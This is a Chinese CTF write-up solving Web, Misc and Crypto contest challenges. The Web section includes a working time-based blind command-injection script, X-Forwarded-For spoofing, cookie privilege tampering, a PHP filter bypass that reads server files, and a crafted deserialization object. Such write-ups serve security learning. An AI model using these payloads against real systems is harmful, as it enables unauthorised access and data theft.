排名及解题情况 全国排名:
校内排名:
Misc 方向:
Crypto 方向:
Web 方向:
Web easyweb 一、题目截图
1.打开网页发现有一串php代码
二、解题思路
1 2 3 4 5 6 7 8 9 <?php if (isset ($_POST ['cmd' ])){ @exec ($_POST ['cmd' ],$res ,$rc ); }else { echo "It works!" ; } show_source (__FILE__ );?>
2.进行分析
无回显rce,因为提示flag在/flag.txt里,所以直接时间盲注就行了,把文件里的内容时间盲注出来就行了
3.脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import requestsimport stringimport timeurl = "http://47.105.113.86:40005" charset = string.printable flag = "" timeout_threshold = 4 for i in range (1 , 50 ): found = False for c in charset: payload = f'''if [ "$(cut -c{i} /flag.txt)" = "{c} " ]; then sleep 5; fi''' start = time.time() try : r = requests.post(url, data={"cmd" : payload}, timeout=6 ) except requests.exceptions.ReadTimeout: pass end = time.time() if end - start > timeout_threshold: flag += c print (f"{flag} " ) found = True break if not found: print (f"End{i} " ) Break
4.flag以及时间如下
YWB_Web_xff 一、题目截图
杯wp/1747234594703-60812545-14ee-4fe2-bace-bb2b49f144f9.png)
二、解题思路
1.看源码
2.分析源码
重点在$cip == “2.2.2.1 上,说明要用xff伪造ip为2.2.2.1,
3.进行网页操作
输入1和1,hackbar进行操作
在X-Forwarded-For插入2.2.2.1就行了,flag和时间如下
YWB_Web_未授权访问 一、题目截图
二、解题思路
看看cookie发现
1 user=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22guest%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A0%3B%7D
Url解码得到
把后面的0改为1,guest改为admin就行了
1 user=O%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D
flag以及时间如下
YWB_Web_命令执行过滤绕过 一、题目截图
二、解题思路
1.分析代码
看了下php代码,发现var_dump没有被ban,所以可以使用var_dump函数,并且命令里必须包含flag字眼,不仅如此,文件读取函数ffile_get_contents也允许使用,所以构造playload:?cmd=var_dump(base64_encode(file_get_contents(‘flag.php’)));
2.进行漏洞利用
试一下这个playload出现了一串base64编码的字符
Cyberchef解码一下看看
说明flag.php是这样的内容
1 2 3 4 <? $filename = "/tmp/flag.nisp" ; $content = trim (file_get_contents ($filename )); ?>
出现了/tmp/flag.nisp比较奇怪的文件,看看呢playload:
1 ?cmd=var_dump(base64_encode(file_get_contents('/tmp/flag.nisp')));
3.得到flag
YWB_Web_反序列化 一、题目截图
下载的源码
二、解题思路
1.分析源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php function filter ($name ) { $safe = array ("flag" , "php" ); return str_replace ($safe , "hack" , $name ); } class mylogin { var $user ; var $pass ; function __construct ($user , $pass ) { $this ->user = $user ; $this ->pass = $pass ; } } if ($_POST ['msg' ]) { $filtered_input = filter ($_POST ['msg' ]); $a = unserialize ($filtered_input ); if ($a instanceof mylogin) { if ($a ->pass === "myzS@11wawq" ) { exit (); } else { $tis = "您是小自吧,差一点就成功了!" ; } } else { $tis = "您输入的信息可能去非洲才能找到哦!" ; } } ?>
提交的字符串中不能有flag和hack,否则就被替换成hack,影响反序列化。再看后面的if,需要我们的序列化的字符串pass === myzS@11wawq,这样就绕过成功了
2.构造playload
1 2 3 4 5 6 7 8 9 10 11 12 <?php class mylogin { public $user ; public $pass ; function __construct ($user = "test" , $pass = "myzS@11wawq" ) { $this ->user = $user ; $this ->pass = $pass ; } } $a = new mylogin ();$b = serialize ($a );echo $b ;
输出结果是:O:7:”mylogin”:2:{s:4:”user”;s:4:”test”;s:4:”pass”;s:11:”myzS@11wawq”;}
3.得到flag
Misc 光隙中的寄生密钥 一、题目截图
解压后的
二、解题思路
拖进010editor进行分析
发现最后面有PK开头的,说明藏了一个压缩包
拖进kali进行分离
再把压缩包拖回到windows里
解压发现需要密码
进行压缩包密码爆破
发现有flag.txt,打开看看,是一串16进制的字符
Cyberchef看看
解码后又是base64编码的字符
解码后flag:
misc草甸方阵的密语 一、题目截图
二、解题思路
1.看文件
记事本看看.exe文件
发现是一串密码,根据题目提示的栅栏可凯撒,不难猜出这是栅栏加密和凯撒加密
2.代码解密
先栅栏密码解密
解密代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 def decrypt_fence_cipher (ciphertext, num_rails ): rail_length = len (ciphertext) // num_rails extra_chars = len (ciphertext) % num_rails rails = ['' ] * num_rails index = 0 for i in range (num_rails): if i < extra_chars: rails[i] = ciphertext[index:index + rail_length + 1 ] index += rail_length + 1 else : rails[i] = ciphertext[index:index + rail_length] index += rail_length plaintext = '' for i in range (rail_length + 1 ): for rail in rails: if i < len (rail): plaintext += rail[i] return plaintext def test_fence_cipher (ciphertext, min_rails, max_rails ): for num_rails in range (min_rails, max_rails + 1 ): try : result = decrypt_fence_cipher(ciphertext, num_rails) print (f"[栏数 {num_rails:2d} ] 解密结果: {result} " ) except Exception as e: print (f"[栏数 {num_rails:2d} ] 出错: {e} " ) ciphertext = "k9qrfSl6{uOV78pW32iXQ}" test_fence_cipher(ciphertext, 2 , 20 )
输出结果如下,其中 kqfl{O7p3iQ9rS6uV8W2X}最可疑,很像flag的形式
之后进行凯撒解密,解密代码如下,当偏移量为5的时候才正确,并且保持数字不动
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def caesar_decrypt (text, shift ): decrypted_text = "" for char in text: if char == '{' or char == '}' : decrypted_text += char elif char.isalpha(): offset = 65 if char.isupper() else 97 decrypted_char = chr ((ord (char) - offset - shift) % 26 + offset) decrypted_text += decrypted_char else : decrypted_text += char return decrypted_text cipher_text = "kqfl{O7p3iQ9rS6uV8W2X}" shift = 5 plain_text = caesar_decrypt(cipher_text, shift) print (f"解密后的文本: {plain_text} " )
3.找到flag
Crypto Crypto easy-签到题 一、题目截图
lag值并且包含时间)
1.获取到解题文件
2.然后利用Detect It Easy工具发现这个是文本格式
3.发现这个编码像base64
4.cyberchef进行解码
base64解码
再base32解码
发现是一串神奇的数字,很像16进制字符串,再进行16进制解码就行了
Misc ez_xor 一、题目截图
解题思路
1.看文件内容
2、写解密代码
1 2 3 4 5 6 7 8 9 data = [0x5f , 0x55 , 0x58 , 0x5e , 0x42 , 0x71 , 0x7a , 0x6d , 0x7f , 0x48 , 0x4e , 0x5c , 0x78 , 0x6a , 0x7d , 0x08 , 0x0a , 0x0e , 0x44 ] for key in range (256 ): result = '' .join(chr (b ^ key) for b in data) if all (32 <= ord (c) <= 126 for c in result): print (f"Key = {key} ,{result} " ) if 'flag' in result: break
3.得到flag
cry_rsa 一、题目截图
解题思路
1.分析题目
2.写解密函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def extended_gcd (a, b ): if b == 0 : return a, 1 , 0 gcd, x1, y1 = extended_gcd(b, a % b) x = y1 y = x1 - (a // b) * y1 return gcd, x, y def mod_inverse (e, phi_n ): gcd, x, y = extended_gcd(e, phi_n) if gcd != 1 : raise Exception("e 和 φ(n) 不互质,无法求模逆" ) return x % phi_n p = 473398607161 q = 4511491 e = 19 n = p * q phi_n = (p - 1 ) * (q - 1 ) d = mod_inverse(e, phi_n) flag = d + 4 print (f"d = {d} " )
得到flag
flag:flag{2023326077889096383}
gift 一、题目截图
二、解题思路
题目说 1/4的礼物是1 - 1/3 + 1/5 - 1/7 + …
这1 - 1/3 + 1/5 - 1/7 + … 明显是π/4,再乘4就是π,签到题
flag{pie},偏移量为2,所以flag为flag{rkg},不用工具,心算凯撒就行
3.解出flag